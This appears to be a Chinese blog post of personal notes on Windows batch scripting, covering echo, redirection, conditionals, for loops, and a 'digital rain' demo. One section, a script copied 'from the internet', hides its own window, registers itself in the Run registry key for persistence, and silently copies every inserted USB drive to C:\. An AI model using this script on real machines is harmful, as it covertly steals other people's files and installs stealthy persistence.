批处理 note

@echo off    ::@表示不开启回显,将只显示执行的结果,加off表示以下执行代码都不再显示

                    ::表示注释,由#代替

echo    #可写内容到文件

        (echo helloworld > test.txt)

color e

cmd

pause    #暂停命令

findstr /? #可查看相关命令帮助

>nul 2>nul 不显示返回信息,2错误信息的句柄 也不显示

echo.    #换空行

&    #执行前命令后,执行后命令

&&    #前命令执行成功后,执行后命令

|    #管道符号,前内容的输出,作为后内容的输入

        (type c:\windows\*.log|more)type 显示文件content

||    #双管道,前命令执行失败后,执行后命令

>    #重定向符,前命令执行结果,输出覆盖到后命令中去

        (dir c:\ > d:\test.txt)

>>    #重定向符,前命令执行结果,追加到后命令执行content中

        如果用for读取就需要>>追加,>只能读取一行数据覆盖

<    #重定向符,将后命令执行结果,作为前命令

^    #取消特殊符号的作用

        (^>)

del    #删除

        (del c:\windows\*.log)

?    #任意一个字符

.    #当前目录

..    #上级目录

“”    #界定字符,表示一个

        (cd "c:\windows and user")

:    #标签定位符,后面一个是标签

        (@echo off

            :start

            echo helloworld

            pause

            goto start)    goto 跳转到某一个标签

,    #可以表示一个空格

;    #省略重复执行命令

        (dir c:\;d:\)

setx 变量名 变量值    #在环境变量重可以查看/cmd中 set

%1-%9    #返回相应参数

%0:

    echo %0 返回批处理文件所在的绝对路径

    %0    添加到文件最后一行,可无限循环执行

自定义变量:

    set /p var=可输入的任意值    #/p 可手动输入参数

    echo %var%

    pause

if判断:

    @echo off

    CHOICE /c ab

    if ERRORLEVEL 2 goto b

    if ERRORLEVEL 1 goto a

    :a

    echo 选择了a

    goto end

    :b

    echo 选择了b

    goto end

    :end

    pause

    %0

    判断上一条语句是否执行成功:

    @echo off

    net user

    if %ERRORLEVEL% == 0 echo 执行成功    #0表示执行成功,1表示执行失败

    if %ERRORLEVEL% == 1 echo 执行失败

    pause

    if实例:

        @echo off

        set /p var=输入命令:

        %var%    # 在没有echo输出的情况下(echo %var%),会被当作一种命令执行

        if %ERRORLEVEL% == 0 (echo "var"执行成功) ELSE (echo %var%执行失败)

        pause

for:

    @echo off

    for %%i in (c:\windows\*.txt) do echo %%i    #四个参数 /d /l /r

    for /r c:\ %%i in (*.log) do @echo %%i

    for /f "eol= tokens= delims= " %%i in (test.txt) do @echo %%i    #eol忽略由特定字符开头的行;tokens打印哪几列内容;delims列的分隔符

    pause

dir *.* /b > test.txt    #获取所有文件名及后缀格式, /b 空格式(没有标题和参数,只有文件名字),\a \c \d等

ren 名字1 名字2   #rename缩写,修改对应文件名



实例u盘查找自动拷贝:

::from internet

@echo off

if "%1" == "h" goto :go

mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit    ::通过mshta解析vbscript等脚本执行语言

:go

reg add hkey_local_machineSoftwareMicrosoftWindowsCurrentVersionRun /v run /t REG_SZ /d "%~f0" /f

:loop

for /f "skip=1" %%i in ('wmic LOGICALDISK where "drivetype=2" get name') do (if not "%%i"=="" xcopy %%i* c:\ /e/h/r/y/c)    ::通过wmic调用系统API

ping 127.1 >nul

goto :loop



实例黑客数码雨:

@echo off&setlocal enabledelayedexpansion&color e

:start

for %%i in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t) do (set /a %%i=!random!%%2)

echo %a% %b% %c% %d% %e% %f% %g% %h% %i% %g% %k% %l% %m% %n% %o% %p% %q% %r% %s% %t% %a% %b% %c% %d% %e% %f% %g% %h% %i% %g% %k% %l% %m% %n% %o% %p% %q% %r% %s% %t% %a% %b% %c% %d% %e% %f% %g% %h% %i% %g% %k% %l% %m% %n% %o% %p% %q% %r% %s% %t%

for /l %%i in (1,6,6) do (echo. >nul)

::set /a b =%random%%%20

::if %b% equ 5 goto text

goto start



批处理随机选择结果(只随机选择一个结果并赋值):

@echo off&setlocal enabledelayedexpansion

set col=0

for %%i in (0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f) do (

set  n+=1,a=!random!

if !a! equ 0 (

set "_!random!!random!!random!=%%i"

) else (

set "_!random!!random!!random!=!n!"

)

)

for /f "tokens=2 delims==" %%i in ('set _') do (

set /a n-=1

if !n! equ 15 pause>nul&goto :eof

::set /p=%%i <nul

set col=%%i

)

echo.&echo %col%

pause



最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,539评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,911评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,337评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,723评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,795评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,762评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,742评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,508评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,954评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,247评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,404评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,104评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,736评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,352评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,557评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,371评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,292评论 2 352

推荐阅读更多精彩内容

  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 4,713评论 0 11
  • 一、基础语法: 1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文...
    蒋_Sir阅读 9,138评论 1 4
  • 批处理文件(batch file)包含一系列 DOS命令,通常用于自动执行重复性任务。用户只需双击批处理文件便可执...
    纪同学说阅读 453评论 0 1
  • 一、常用批处理内部命令 批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD...
    C1R2阅读 814评论 0 0
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,520评论 16 22